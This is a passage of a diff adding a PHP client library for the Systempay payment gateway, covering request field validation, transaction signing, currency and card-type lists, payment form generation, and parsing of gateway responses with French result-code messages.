+ $this->_addRequestField('vads_currency', 'Currency', "#^\d{3}$#", true, 3); + $this->_addRequestField('vads_cust_antecedents', 'Customer history', + "#^NONE|NO_INCIDENT|INCIDENT$#"); + $this->_addRequestField('vads_cust_address', 'Customer address', $ans255); + $this->_addRequestField('vads_cust_country', 'Customer country', + "#^[A-Za-z]{2}$#", false, 2); + $this->_addRequestField('vads_cust_email', 'Customer email', $regex_mail, + false, 127); + $this->_addRequestField('vads_cust_id', 'Customer id', + $an63, false, 63); + $this->_addRequestField('vads_cust_name', 'Customer name', + $ans127, false, 127); + $this->_addRequestField('vads_cust_cell_phone', 'Customer cell phone', + $an63, false, 63); + $this->_addRequestField('vads_cust_phone', 'Customer phone', $an63, false, + 63); + $this->_addRequestField('vads_cust_title', 'Customer title', '#^'.$ans.'{0,63}$#', false, + 63); + $this->_addRequestField('vads_cust_city', 'Customer city', + '#^' . $ans . '{0,63}$#', false, 63); + $this->_addRequestField('vads_cust_state', 'Customer state/region', '#^'.$ans.'{0,63}$#', false, + 63); + $this->_addRequestField('vads_cust_zip', 'Customer zip code', $an63, false, + 63); + $this->_addRequestField('vads_language', 'Language', "#^[A-Za-z]{2}$#", + false, 2); + $this->_addRequestField('vads_order_id', 'Order id', + "#^[A-za-z0-9]{0,12}$#", false, 12); + $this->_addRequestField('vads_order_info', 'Order info', $ans255); + $this->_addRequestField('vads_order_info2', 'Order info 2', $ans255); + $this->_addRequestField('vads_order_info3', 'Order info 3', $ans255); + $this->_addRequestField('vads_page_action', 'Page action', "#^PAYMENT$#", + true, 7); + $this->_addRequestField('vads_payment_cards', 'Payment cards', + "#^([A-Za-z0-9\-_]+;)*[A-Za-z0-9\-_]*$#", false, 127); + $this->_addRequestField('vads_payment_config', 'Payment config', + $regex_payment_cfg, true); + $this->_addRequestField('vads_payment_src', 'Payment source', "#^$#", false, + 0); + $this->_addRequestField('vads_redirect_error_message', + 'Redirection error message', $ans255, false); + $this->_addRequestField('vads_redirect_error_timeout', + 'Redirection error timeout', $ans255, false); + $this->_addRequestField('vads_redirect_success_message', + 'Redirection success message', $ans255, false); + $this->_addRequestField('vads_redirect_success_timeout', + 'Redirection success timeout', $ans255, false); + $this->_addRequestField('vads_return_mode', 'Return mode', + "#^NONE|GET|POST?$#", false, 4); + $this->_addRequestField('vads_return_get_params', 'GET return parameters', + $regex_params, false); + $this->_addRequestField('vads_return_post_params', + 'POST return parameters', $regex_params, false); + $this->_addRequestField('vads_ship_to_name', 'Shipping name', + '#^' . $ans . '{0,127}$#', false, 127); + $this->_addRequestField('vads_ship_to_phone_num', 'Shipping phone', + $ans255, false, 63); + $this->_addRequestField('vads_ship_to_street', 'Shipping street', $ans127, + false, 127); + $this->_addRequestField('vads_ship_to_street2', 'Shipping street (2)', + $ans127, false, 127); + $this->_addRequestField('vads_ship_to_state', 'Shipping state', $an63, + false, 63); + $this->_addRequestField('vads_ship_to_country', 'Shipping country', + "#^[A-Za-z]{2}$#", false, 2); + $this->_addRequestField('vads_ship_to_city', 'Shipping city', + '#^' . $ans . '{0,63}$#', false, 63); + $this->_addRequestField('vads_ship_to_zip', 'Shipping zip code', $an63, + false, 63); + $this->_addRequestField('vads_shop_name', 'Shop name', $ans127); + $this->_addRequestField('vads_shop_url', 'Shop url', $ans127); + $this->_addRequestField('vads_site_id', 'Site id', "#^\d{8}$#", true, 8); + $this->_addRequestField('vads_theme_config', 'Theme', $ans255); + $this->_addRequestField('vads_trans_date', 'Transaction date', + $regex_trans_date, true, 14); + $this->_addRequestField('vads_trans_id', 'Transaction id', + "#^[0-8]\d{5}$#", true, 6); + $this->_addRequestField('vads_url_success', 'Success url', $ans127, false, + 127); + $this->_addRequestField('vads_url_referral', 'Referral url', $ans127, + false, 127); + $this->_addRequestField('vads_url_refused', 'Refused url', $ans127, false, + 127); + $this->_addRequestField('vads_url_cancel', 'Cancel url', $ans127, false, + 127); + $this->_addRequestField('vads_url_error', 'Error url', $ans127, false, 127); + $this->_addRequestField('vads_url_return', 'Return url', $ans127, false, + 127); + $this->_addRequestField('vads_user_info', 'User info', $ans255); + $this->_addRequestField('vads_validation_mode', 'Validation mode', + "#^[01]?$#", false, 1); + $this->_addRequestField('vads_version', 'Gateway version', "#^V2$#", true, + 2); + + // Credit Card info + $this->_addRequestField('vads_card_number', 'Card number', "#^\d{13,19}$#"); + $this->_addRequestField('vads_cvv', 'Card verification number', "#^\d{3,4}$#"); + $this->_addRequestField('vads_expiry_year', 'Year of card expiration', "#^20[0-9]{2}$#"); + $this->_addRequestField('vads_expiry_month', 'Month of card expiration', "#^\d[0-2]{1}$#"); + + // Enable / disable 3D Secure + $this->_addRequestField('vads_threeds_mpi', 'Enable / disable 3D Secure', '#^[0-2]$#', false); + + // Declaration of parameters for Oney payment + $this->_addRequestField('vads_cust_first_name', 'Customer first name', $an63, false, 63); + $this->_addRequestField('vads_cust_last_name', 'Customer last name', $an63, false, 63); + $this->_addRequestField('vads_cust_status', 'Customer status (private or company)', "#^PRIVATE|COMPANY$#", false, 7); + + $this->_addRequestField('vads_ship_to_first_name', 'Shipping first name', $an63, false, 63); + $this->_addRequestField('vads_ship_to_last_name', 'Shipping last name', $an63, false, 63); + $this->_addRequestField('vads_ship_to_status', 'Shipping status (private or company)', "#^PRIVATE|COMPANY$#", false, 7); + $this->_addRequestField('vads_ship_to_delivery_company_name', 'Name of the delivery company', $ans127, false, 127); + $this->_addRequestField('vads_ship_to_speed', 'Speed of the shipping method', "#^STANDARD|EXPRESS$#", false, 8); + $this->_addRequestField('vads_ship_to_type', 'Type of the shipping method', + "#^RECLAIM_IN_SHOP|RELAY_POINT|RECLAIM_IN_STATION|PACKAGE_DELIVERY_COMPANY|ETICKET$#", false, 24); + + $this->_addRequestField('vads_insurance_amount', 'The amount of insurance', '#^' . $supzero . '$#', false, 12); + $this->_addRequestField('vads_tax_amount', 'The amount of tax', '#^' . $supzero . '$#', false, 12); + $this->_addRequestField('vads_shipping_amount', 'The amount of shipping', '#^' . $supzero . '$#', false, 12); + $this->_addRequestField('vads_nb_products', 'Number of products', '#^' . $supzero . '$#', false); + + // Set some default parameters + $this->set('vads_version', 'V2'); + $this->set('vads_page_action', 'PAYMENT'); + $this->set('vads_action_mode', 'INTERACTIVE'); + $this->set('vads_payment_config', 'SINGLE'); + $timestamp = time(); + $this->set('vads_trans_id', $this->_generateTransId($timestamp)); + $this->set('vads_trans_date', gmdate('YmdHis', $timestamp)); + } + + /** + * Generate a trans_id. + * To be independent from shared/persistent counters, we use the number of 1/10seconds since midnight, + * which has the appropriate format (000000-899999) and has great chances to be unique. + * @return string the generated trans_id + * @access private + */ + function _generateTransId($timestamp) { + list($usec, $sec) = explode(" ", microtime()); // microseconds, php4 compatible + $temp = ($timestamp + $usec - strtotime('today 00:00')) * 10; + $temp = sprintf('%06d', $temp); + + return $temp; + } + + /** + * Shortcut function used in constructor to build requestParameters + * @param string $name + * @param string $label + * @param string $regex + * @param boolean $required + * @param mixed $value + * @return boolean true on success + * @access private + */ + function _addRequestField($name, $label, $regex, $required = false, + $length = 255, $value = null) { + $this->requestParameters[$name] = new SystempayField($name, $label, $regex, + $required, $length); + + if($value !== null) { + return $this->set($name, $value); + } else { + return true; + } + } + + // ************************************** + // INTERNATIONAL FUNCTIONS + // ************************************** + + /** + * Returns an array of languages accepted by the Systempay payment page + * @static + * @return array[string]string + */ + function getSupportedLanguages() { + return array( + 'fr' => 'French', 'de' => 'German', 'en' => 'English', 'es' => 'Spanish', 'zh' => 'Chinese', 'it' => 'Italian', 'ja' => 'Japanese', 'pt' => 'Portuguese', 'nl' => 'Dutch', 'sv' => 'Swedish', 'ru' => 'Russian' + ); + } + + /** + * Returns true if the entered language is supported + * @static + * @param string $lang + * @return boolean + */ + function isSupportedLanguage($lang) { + foreach ($this->getSupportedLanguages() as $code => $label) { + if($code == strtolower($lang)) { + return true; + } + } + + return false; + } + + /** + * Return the list of currencies recognized by the Systempay platform + * @static + * @return array[int]SystempayCurrency + */ + function getSupportedCurrencies() { + $currencies = array( + array('ARS', 32, 2), array('AUD', 36, 2), array('KHR', 116, 0), array('CAD', 124, 2), array('CNY', 156, 1), array('HRK', 191, 2), array('CZK', 203, 2), array('DKK', 208, 2), array('EKK', 233, 2), array('HKD', 344, 2), array('HUF', 348, 2), array('ISK', 352, 0), array('IDR', 360, 0), array('JPY', 392, 0), array('KRW', 410, 0), array('LVL', 428, 2), array('LTL', 440, 2), array('MYR', 458, 2), array('MXN', 484, 2), array('NZD', 554, 2), array('NOK', 578, 2), array('PHP', 608, 2), array('RUB', 643, 2), array('SGD', 702, 2), array('ZAR', 710, 2), array('SEK', 752, 2), array('CHF', 756, 2), array('THB', 764, 2), array('GBP', 826, 2), array('USD', 840, 2), array('TWD', 901, 1), array('RON', 946, 2), array('TRY', 949, 2), array('XOF', 952, 0), array('BGN', 975, 2), array('EUR', 978, 2), array('PLN', 985, 2), array('BRL', 986, 2) + ); + + $systempayCurrencies = array(); + + foreach($currencies as $currency) { + $systempayCurrencies[] = new SystempayCurrency($currency[0], $currency[1], $currency[2]); + } + + return $systempayCurrencies; + } + + /** + * Return a currency from its iso 3-letters code + * @static + * @param string $alpha3 + * @return SystempayCurrency + */ + function findCurrencyByAlphaCode($alpha3) { + $list = $this->getSupportedCurrencies(); + foreach ($list as $currency) { + /** @var SystempayCurrency $currency */ + if ($currency->alpha3 == $alpha3) { + return $currency; + } + } + return null; + } + + /** + * Returns a currency form its iso numeric code + * @static + * @param int $num + * @return SystempayCurrency + */ + function findCurrencyByNumCode($numeric) { + $list = $this->getSupportedCurrencies(); + foreach ($list as $currency) { + /** @var SystempayCurrency $currency */ + if ($currency->num == $numeric) { + return $currency; + } + } + return null; + } + + /** + * Returns a currency numeric code from its 3-letters code + * @static + * @param string $alpha3 + * @return int + */ + function getCurrencyNumCode($alpha3) { + $currency = $this->findCurrencyByAlphaCode($alpha3); + return is_a($currency, 'SystempayCurrency') ? $currency->num : null; + } + + /** + * Returns an array of card types accepted by the Systempay payment platform + * @static + * @return array[string]string + */ + function getSupportedCardTypes() { + return array( + 'CB' => 'CB', 'VISA' => 'Visa', 'VISA_ELECTRON' => 'Visa Electron', 'MASTERCARD' => 'Mastercard', 'MAESTRO' => 'Maestro', 'E-CARTEBLEUE' => 'E-Carte bleue', 'AMEX' => 'American Express', '1EUROCOM' => '1 euro.com', 'AURORE-MULTI' => 'Aurore Multipaiements', 'BUT' => 'But', 'CASINO' => 'Banque Casino', 'CDGP' => 'Carte Privilège', 'CDISCOUNT' => 'CDiscount', 'COF3XCB' => 'Cofinoga 3 fois CB', 'COF3XCB_SB' => 'Cofinoga 3 fois CB Sandbox', 'COFINOGA' => 'Cofinoga', 'CONFORAMA' => 'Conforama', 'JCB' => 'JCB', 'LECLERC' => 'Carte Reglo', 'PAYPAL' => 'Paypal', 'PAYPAL_SB' => 'Paypal Sandbox', 'PAYSAFECARD' => 'PaysafeCard', 'S-MONEY' => 'S-money', 'SOFICARTE' => 'Soficarte', 'SYGMA' => 'Sygma', 'V_ME' => 'V.me by Visa', 'SDD' => 'Prélèvement SEPA' + ); + } + + // ************************************** + // GETTERS/SETTERS + // ************************************** + /** + * Shortcut for setting multiple values with one array + * @param array[string]mixed $parameters + * @return boolean true on success + */ + function setFromArray($parameters) { + $ok = true; + foreach ($parameters as $name => $value) { + $ok &= $this->set($name, $value); + } + return $ok; + } + + /** + * General getter. + * Retrieve an api variable from its name. Automatically add 'vads_' to the name if necessary. + * Example : get('site_id'); ?> + * @param string $name + * @return mixed null if $name was not recognised + */ + function get($name) { + if (!$name || !is_string($name)) { + return null; + } + + // V1/shortcut notation compatibility + $name = (substr($name, 0, 5) != 'vads_') ? 'vads_' . $name : $name; + + if ($name == 'vads_key_test') { + return $this->keyTest; + } elseif ($name == 'vads_key_prod') { + return $this->keyProd; + } elseif ($name == 'vads_platform_url') { + return $this->platformUrl; + } elseif ($name == 'vads_redirect_enabled') { + return $this->redirectEnabled; + } elseif (array_key_exists($name, $this->requestParameters)) { + return $this->requestParameters[$name]->getValue(); + } else { + return null; + } + } + + /** + * General setter. + * Set an api variable with its name and the provided value. Automatically add 'vads_' to the name if necessary. + * Example : set('site_id', '12345678'); ?> + * @param string $name + * @param mixed $value + * @return boolean true on success + */ + function set($name, $value) { + if (!$name || !is_string($name)) { + return false; + } + + // V1/shortcut notation compatibility + $name = (substr($name, 0, 5) != 'vads_') ? 'vads_' . $name : $name; + + // Convert the parameters if they are not encoded in utf8 + if($this->encoding !== "UTF-8") { + $value = iconv($this->encoding, "UTF-8", $value); + } + + // Search appropriate setter + if ($name == 'vads_key_test') { + return $this->setCertificate($value, 'TEST'); + } elseif ($name == 'vads_key_prod') { + return $this->setCertificate($value, 'PRODUCTION'); + } elseif ($name == 'vads_platform_url') { + return $this->setPlatformUrl($value); + } elseif ($name == 'vads_redirect_enabled') { + return $this->setRedirectEnabled($value); + } elseif (array_key_exists($name, $this->requestParameters)) { + return $this->requestParameters[$name]->setValue($value); + } else { + return false; + } + } + + /** + * Set target url of the payment form + * @param string $url + * @return boolean + */ + function setPlatformUrl($url) { + if (!preg_match('#https?://([^/]+/)+#', $url)) { + return false; + } + $this->platformUrl = $url; + return true; + } + + /** + * Enable/disable redirect_* parameters + * @param mixed $enabled false, '0', a null or negative integer or 'false' to disable + * @return boolean + */ + function setRedirectEnabled($enabled) { + $this->redirectEnabled = !(!$enabled || $enabled == '0' + || strtolower($enabled) == 'false'); + return true; + } + + /** + * Set TEST or PRODUCTION certificate + * @param string $key + * @param string $mode + * @return boolean true if the certificate could be set + */ + function setCertificate($key, $mode) { + // Check format + if (!preg_match('#^\d{16}$#', $key)) { + return false; + } + + if ($mode == 'TEST') { + $this->keyTest = $key; + } elseif ($mode == 'PRODUCTION') { + $this->keyProd = $key; + } else { + return false; + } + return true; + } + + /** + * Add product infos as request parameters. + * @param string $label + * @param int $amount + * @param int $qty + * @param string $ref + * @param string $type + * @return boolean true if product infos are set correctly + */ + function addProductRequestField($label, $amount, $qty, $ref, $type) { + $index = $this->get("nb_products") ? $this->get("nb_products") : 0; + + $ok = true; + + // Add product infos as request parameters + $ok &= $this->_addRequestField("vads_product_label" . $index, "Product label", '#^[^<>"+-]{0,255}$#', false, 255, $label); + $ok &= $this->_addRequestField("vads_product_amount" . $index, "Product amount", '#^[1-9]\d*$#', false, 12, $amount); + $ok &= $this->_addRequestField("vads_product_qty" . $index, "Product quantity", '#^[1-9]\d*$#', false, 255, $qty); + $ok &= $this->_addRequestField("vads_product_ref" . $index, "Product reference", '#^[A-Za-z0-9]{0,64}$#', false, 64, $ref); + $ok &= $this->_addRequestField("vads_product_type" . $index, "Product type", "#^".implode("|", $this->ACCORD_CATEGORIES)."$#", + false, 30, $type); + + // Increment the number of products + $ok &= $this->set("nb_products", $index + 1); + + return $ok; + } + + /** + * Add extra info as a request parameter. + * @param string $key + * @param string $value + * @return boolean true if extra info is set correctly + */ + function addExtInfoRequestField($key, $value) { + return $this->_addRequestField("vads_ext_info_" . $key, "Extra info " . $key, '#^.{0,255}$#', false, 255, $value); + } + + + /** + * Return certificate according to current mode, false if mode was not set + * @return string|boolean + */ + function getCertificate() { + switch ($this->requestParameters['vads_ctx_mode'] + ->getValue()) { + case 'TEST': + return $this->keyTest; + break; + + case 'PRODUCTION': + return $this->keyProd; + break; + + default: + return false; + break; + } + } + + /** + * Generate signature from a list of SystempayField + * @param array[string]SystempayField $fields + * @return string + * @access private + */ + function _generateSignatureFromFields($fields = null, $hashed = true) { + $params = array(); + $fields = ($fields !== null) ? $fields : $this->requestParameters; + foreach ($fields as $field) { + if ($field->isRequired() || $field->isFilled()) { + $params[$field->getName()] = $field->getValue(); + } + } + return $this->sign($params, $this->getCertificate(), $hashed); + } + + /** + * Public static method to compute a Systempay signature. Parameters must be in utf-8. + * @param array[string]string $parameters payment gateway request/response parameters + * @param string $key shop certificate + * @param boolean $hashed set to false to get the raw, unhashed signature + * @access public + * @static + */ + function sign($parameters, $key, $hashed = true) { + $signContent = ""; + ksort($parameters); + foreach ($parameters as $name => $value) { + if (substr($name, 0, 5) == 'vads_') { + $signContent .= $value . '+'; + } + } + $signContent .= $key; + $sign = $hashed ? sha1($signContent) : $signContent; + return $sign; + } + + // ************************************** + // REQUEST PREPARATION FUNCTIONS + // ************************************** + /** + * Unset the value of optionnal fields if they are unvalid + */ + function clearInvalidOptionnalFields() { + $fields = $this->getRequestFields(); + foreach ($fields as $field) { + if (!$field->isValid() && !$field->isRequired()) { + $field->setValue(null); + } + } + } + + /** + * Check all payment fields + * @param array $errors will be filled with the name of invalid fields + * @return boolean + */ + function isRequestReady(&$errors = null) { + $errors = is_array($errors) ? $errors : array(); + $fields = $this->getRequestFields(); + foreach ($fields as $field) { + if (!$field->isValid()) { + $errors[] = $field->getName(); + } + } + return sizeof($errors) == 0; + } + + /** + * Return the list of fields to send to the payment gateway + * @return array[string]SystempayField a list of SystempayField or false if a parameter was invalid + * @see SystempayField + */ + function getRequestFields() { + $fields = $this->requestParameters; + + // Filter redirect_parameters if redirect is disabled + if (!$this->redirectEnabled) { + $redirectFields = array( + 'vads_redirect_success_timeout', + 'vads_redirect_success_message', + 'vads_redirect_error_timeout', + 'vads_redirect_error_message'); + foreach ($redirectFields as $fieldName) { + unset($fields[$fieldName]); + } + } + + foreach ($fields as $fieldName => $field) { + if (!$field->isFilled() && !$field->isRequired()) { + unset($fields[$fieldName]); + } + } + + // Compute signature + $fields['signature']->setValue($this->_generateSignatureFromFields($fields)); + + // Return the list of fields + return $fields; + } + + /** + * Return the url of the payment page with urlencoded parameters (GET-like url) + * @return boolean|string + */ + function getRequestUrl() { + $fields = $this->getRequestFields(); + + $url = $this->platformUrl . '?'; + foreach ($fields as $field) { + if ($field->isFilled()) { + $url .= $field->getName() . '=' . rawurlencode($field->getValue()) + . '&'; + } + } + $url = substr($url, 0, -1); // remove last & + return $url; + } + + /** + * Return the html form to send to the payment gateway + * @param string $enteteAdd + * @param string $inputType + * @param string $buttonValue + * @param string $buttonAdd + * @param string $buttonType + * @return string + */ + function getRequestHtmlForm($enteteAdd = '', $inputType = 'hidden', + $buttonValue = 'Aller sur la plateforme de paiement', $buttonAdd = '', + $buttonType = 'submit') { + + $html = ""; + $html .= '
        '; + $html .= "\n"; + $html .= $this->getRequestFieldsHtml('type="' . $inputType . '"'); + $html .= ''; + $html .= "\n"; + $html .= '
        '; + return $html; + } + + /** + * Return the html code of the form fields to send to the payment page + * @param string $inputAttributes + * @return string + */ + function getRequestFieldsHtml($inputAttributes = 'type="hidden"') { + $fields = $this->getRequestFields(); + + $html = ''; + $format = '\n"; + foreach ($fields as $field) { + if ($field->isFilled()) { + // Convert special chars to HTML entities to avoid data troncation + $value = htmlspecialchars($field->getValue(), ENT_QUOTES, 'UTF-8'); + + $html .= sprintf($format, $field->getName(), $value); + } + } + return $html; + } + + /** + * Return the html fields to send to the payment page as a key/value array + * @return array[string][string] + */ + function getRequestFieldsArray() { + $fields = $this->getRequestFields(); + + $result = array(); + foreach ($fields as $field) { + if ($field->isFilled()) { + // Convert special chars to HTML entities to avoid data troncation + $result[$field->getName()] = htmlspecialchars($field->getValue(), ENT_QUOTES, 'UTF-8'); + } + } + + return $result; + } + + /** + * PHP is not yet a sufficiently advanced technology to be indistinguishable from magic... + * so don't use magic_quotes, they mess up with the gateway response analysis. + * + * @param array $potentiallyMagicallyQuotedData + */ + function uncharm($potentiallyMagicallyQuotedData) { + if (get_magic_quotes_gpc()) { + $sane = array(); + foreach ($potentiallyMagicallyQuotedData as $k => $v) { + $saneKey = stripslashes($k); + $saneValue = is_array($v) ? $this->uncharm($v) : stripslashes($v); + $sane[$saneKey] = $saneValue; + } + } else { + $sane = $potentiallyMagicallyQuotedData; + } + return $sane; + } + } + +} + +if(!@class_exists('SystempayResponse', false)) { + /** + * Class representing the result of a transaction (sent by the check url or by the client return) + */ + class SystempayResponse { + /** + * Raw response parameters array + * @var array + * @access private + */ + var $raw_response = array(); + /** + * Certificate used to check the signature + * @see SystempayApi::sign + * @var boolean + * @access private + */ + var $certificate; + /** + * Value of vads_result + * @var string + * @access private + */ + var $code; + /** + * Translation of $code (vads_result) + * @var string + * @access private + */ + var $message; + /** + * Value of vads_extra_result + * @var string + * @access private + */ + var $extraCode; + /** + * Translation of $extraCode (vads_extra_result) + * @var string + * @access private + */ + var $extraMessage; + /** + * Value of vads_auth_result + * @var string + * @access private + */ + var $authCode; + /** + * Translation of $authCode (vads_auth_result) + * @var string + * @access private + */ + var $authMessage; + /** + * Value of vads_warranty_result + * @var string + * @access private + */ + var $warrantyCode; + /** + * Translation of $warrantyCode (vads_warranty_result) + * @var string + * @access private + */ + var $warrantyMessage; + /** + * Transaction status (vads_trans_status) + * @var string + * @access private + */ + var $transStatus; + + /** + * Internal reference to SystempayApi for using util methods + * @var SystempayApi + * @access private + */ + var $api; + + /** + * Constructor for SystempayResponse class. Prepare to analyse check url or return url call. + * @param array[string]string $parameters $_REQUEST by default + * @param string $ctx_mode + * @param string $key_test + * @param string $key_prod + * @param string $encoding + */ + function SystempayResponse($parameters = null, $ctx_mode = null, $key_test = null, $key_prod = null) { + $this->api = new SystempayApi(); // Use default API encoding (UTF-8) since the payment platform returns UTF-8 data + + if(is_null($parameters)) { + $parameters = $_REQUEST; + } + $parameters = $this->api->uncharm($parameters); + + // Load site credentials if provided + if (!is_null($ctx_mode)) { + $this->api->set('vads_ctx_mode', $ctx_mode); + } + if (!is_null($key_test)) { + $this->api->set('vads_key_test', $key_test); + } + if (!is_null($key_prod)) { + $this->api->set('vads_key_prod', $key_prod); + } + + $this->load($parameters, $this->api->getCertificate()); + } + + /** + * Load response codes and translations from a parameter array. + * @param array[string]string $raw + * @param boolean $authentified + */ + function load($params, $certificate) { + $this->raw_response = is_array($params) ? $params : array(); + $this->certificate = $certificate; + + // get codes + $this->code = $this->_findInArray('vads_result', $this->raw_response, null); + $this->extraCode = $this->_findInArray('vads_extra_result', $this->raw_response, null); + $this->authCode = $this->_findInArray('vads_auth_result', $this->raw_response, null); + $this->warrantyCode = $this->_findInArray('vads_warranty_code', $this->raw_response, null); + + $this->transStatus = $this->_findInArray('vads_trans_status', $this->raw_response, null); + + // load translations for used/default language + $lang = $this->get('language'); + if(!key_exists($lang, self::$RESPONSE_TRANS)) { + $lang = 'fr'; + } + $translations = self::$RESPONSE_TRANS[$lang]; + + // result message + $code = ($this->code == null) ? 'empty' : $this->code; + $this->message = $this->_findInArray($code, $translations['results'], self::UNKNOWN_TRANS); + + // extra result message + if($code == '30') { + $extraCode = ($this->extraCode == null) ? '99' /* OTHER */ : $this->extraCode; + $this->extraMessage = $this->_findInArray($extraCode, self::$FORM_ERRORS, self::UNKNOWN_TRANS); + } elseif($code == '05' || $code == '00') { + $extraCode = ($this->extraCode == null) ? 'empty' : $this->extraCode; + $this->extraMessage = $this->_findInArray($extraCode, $translations['extra_results'], self::UNKNOWN_TRANS); + } + + // auth result message + $authCode = ($this->authCode == null) ? 'empty' : $this->authCode; + $this->authMessage = $this->_findInArray($authCode, $translations['auth_results'], self::UNKNOWN_TRANS); + + // warranty result message + $warrantyCode = ($this->warrantyCode == null) ? 'empty' : $this->warrantyCode; + $this->warrantyMessage = $this->_findInArray($warrantyCode, $translations['warranty_results'], self::UNKNOWN_TRANS); + } + + /** + * Check response signature + * @return boolean + */ + function isAuthentified() { + return $this->api->sign($this->raw_response, $this->certificate) + == $this->getSignature(); + } + + /** + * Return the signature computed from the received parameters, for log/debug purposes. + * @param boolean $hashed apply sha1, false by default + * @return string + */ + function getComputedSignature($hashed = false) { + return $this->api->sign($this->raw_response, $this->certificate, $hashed); + } + + /** + * Check if the payment was successful (waiting confirmation or captured) + * @return boolean + */ + function isAcceptedPayment() { + return $this->isPendingPayment() + || $this->transStatus == 'AUTHORISED' + || $this->transStatus == 'AUTHORISED_TO_VALIDATE' + || $this->transStatus == 'CAPTURED' + || $this->transStatus == 'CAPTURE_FAILED' /* capture will be redone */; + } + + /** + * Check if the payment is waiting confirmation (successful but the amount has not been transfered and is not yet guaranteed) + * @return boolean + */ + function isPendingPayment() { + return $this->transStatus == 'INITIAL' + || $this->transStatus == 'WAITING_AUTHORISATION' + || $this->transStatus == 'WAITING_AUTHORISATION_TO_VALIDATE' + || $this->transStatus == 'UNDER_VERIFICATION'; + } + + /** + * Check if the payment process was interrupted by the client + * @return boolean + */ + function isCancelledPayment() { + return $this->transStatus == 'CANCELLED' || $this->transStatus == 'ABANDONED'; + } + + /** + * Return the value of a response parameter. + * @param string $name + * @return string + */ + function get($name) { + // Manage shortcut notations by adding 'vads_' + $name = (substr($name, 0, 5) != 'vads_') ? 'vads_' . $name : $name; + + return @$this->raw_response[$name]; + } + + /** + * Shortcut for getting ext_info_* fields. + * @param string $key + * @return string + */ + function getExtInfo($key) { + return $this->get("ext_info_$key"); + } + + /** + * Returns the expected signature received from gateway. + * @return string + */ + function getSignature() { + return @$this->raw_response['signature']; + } + + /** + * Return the paid amount converted from cents (or currency equivalent) to a decimal value + * @return float + */ + function getFloatAmount() { + $currency = $this->api->findCurrencyByNumCode($this->get('currency')); + return $currency->convertAmountToFloat($this->get('amount')); + } + + /** + * Return a short description of the payment result, useful for logging + * @return string + */ + function getLogString() { + $log = $this->message . ' (' . $this->code . ').'; + + if(is_numeric($this->extraCode) && + ( + ($this->code == '30') || + ($this->code == '00' && intval($this->extraCode) > 0) || + ($this->code == '05' && intval($this->extraCode) > 0) + ) + ) { + $log .= ' ' . $this->extraMessage . ' (' . $this->extraCode . ').'; + } + + return $log; + } + + /** + * Return a formatted string to output as a response to the check url call + * @param string $case shortcut code for current situations. Most useful : payment_ok, payment_ko, auth_fail + * @param string $extraMessage some extra information to output to the payment gateway + * @return string + */ + function getOutputForGateway($case = '', $extraMessage = '', $originalEncoding="UTF-8") { + // predefined response messages according to case + $cases = array( + 'payment_ok' => array(true, "Paiement valide traité"), + 'payment_ko' => array(true, "Paiement invalide traité"), + 'payment_ok_already_done' => array(true, "Paiement valide traité, déjà enregistré"), + 'payment_ko_already_done' => array(true, "Paiement invalide traité, déjà enregistré"), + 'order_not_found' => array(false, "Impossible de retrouver la commande"), + 'payment_ko_on_order_ok' => array(false, "Code paiement invalide reçu pour une commande déjà validée"), + 'auth_fail' => array(false, "Echec d'authentification"), + 'ok' => array(true, ''), + 'ko' => array(false, '') + ); + + $success = key_exists($case, $cases) ? $cases[$case][0] : false; + $message = key_exists($case, $cases) ? $cases[$case][1] : ''; + + if(!empty($extraMessage)) { + $message .= ' ' . $extraMessage; + } + $message = str_replace("\n", ' ', $message); + + // Set original CMS encoding to convert if necessary response to send to platform + $encoding = in_array(strtoupper($originalEncoding), $this->api->SUPPORTED_ENCODINGS) ? strtoupper($originalEncoding) : "UTF-8"; + if($encoding !== "UTF-8") { + $message = iconv($encoding, "UTF-8", $message); + } + + $response = ''; + $response .= ''; + $response .= $success ? "OK-" : "KO-"; + $response .= $this->get('trans_id'); + $response .= "=$message\n"; + $response .= ''; + return $response; + } + + /** + * Private shortcut function + * @param string $value + * @param array[string]string $translations + * @param string $defaultTransation + * @access private + */ + function _findInArray($key, $array, $default) { + if (is_array($array) && array_key_exists($key, $array)) { + return $array[$key]; + } + return $default; + } + + const UNKNOWN_TRANS = ''; + + /** + * Associative array containing human-readable translations of response codes. + * + * @var array + * @access private + */ + static $RESPONSE_TRANS = array ( + 'fr' => array ( + 'results' => array ( + 'empty' => '', + '00' => 'Paiement réalisé avec succès', + '02' => 'Le commerçant doit contacter la banque du porteur', + '05' => 'Paiement refusé', + '17' => 'Annulation client', + '30' => 'Erreur de format de la requête', + '96' => 'Erreur technique lors du paiement' + ), + 'extra_results' => array ( + 'empty' => 'Pas de contrôle effectué', + '00' => 'Tous les contrôles se sont déroulés avec succès', + '02' => 'La carte a dépassé l\'encours autorisé', + '03' => 'La carte appartient à la liste grise du commerçant', + '04' => 'Le pays d\'émission de la carte appartient à la liste grise du commerçant', + '05' => 'L\'adresse IP appartient à la liste grise du commerçant', + '06' => 'Le code BIN appartient à la liste grise du commerçant', + '07' => 'Détection d\'une e-carte bleue', + '08' => 'Détection d\'une carte commerciale nationale', + '09' => 'Détection d\'une carte commerciale étrangère', + '14' => 'La carte est à autorisation systématique', + '20' => 'Aucun pays ne correspond (pays IP, pays carte, pays client)', + '30' => 'Le pays de l\'adresse IP appartient à la liste grise', + '99' => 'Problème technique rencontré par le serveur lors du traitement d\'un des contrôles locaux' + ), + 'auth_results' => array ( + 'empty' => '', + '00' => 'Transaction approuvée ou traitée avec succès', + '02' => 'Contacter l\'émetteur de carte', + '03' => 'Accepteur invalide', + '04' => 'Conserver la carte', + '05' => 'Ne pas honorer', + '07' => 'Conserver la carte, conditions spéciales', + '08' => 'Approuver après identification', + '12' => 'Transaction invalide', + '13' => 'Montant invalide', + '14' => 'Numéro de porteur invalide', + '30' => 'Erreur de format', + '31' => 'Identifiant de l\'organisme acquéreur inconnu', + '33' => 'Date de validité de la carte dépassée', + '34' => 'Suspicion de fraude', + '41' => 'Carte perdue', + '43' => 'Carte volée', + '51' => 'Provision insuffisante ou crédit dépassé', + '54' => 'Date de validité de la carte dépassée', + '56' => 'Carte absente du fichier', + '57' => 'Transaction non permise à ce porteur', + '58' => 'Transaction interdite au terminal', + '59' => 'Suspicion de fraude', + '60' => 'L\'accepteur de carte doit contacter l\'acquéreur', + '61' => 'Montant de retrait hors limite', + '63' => 'Règles de sécurité non respectées', + '68' => 'Réponse non parvenue ou reçue trop tard', + '90' => 'Arrêt momentané du système', + '91' => 'Emetteur de cartes inaccessible', + '96' => 'Mauvais fonctionnement du système', + '94' => 'Transaction dupliquée', + '97' => 'Echéance de la temporisation 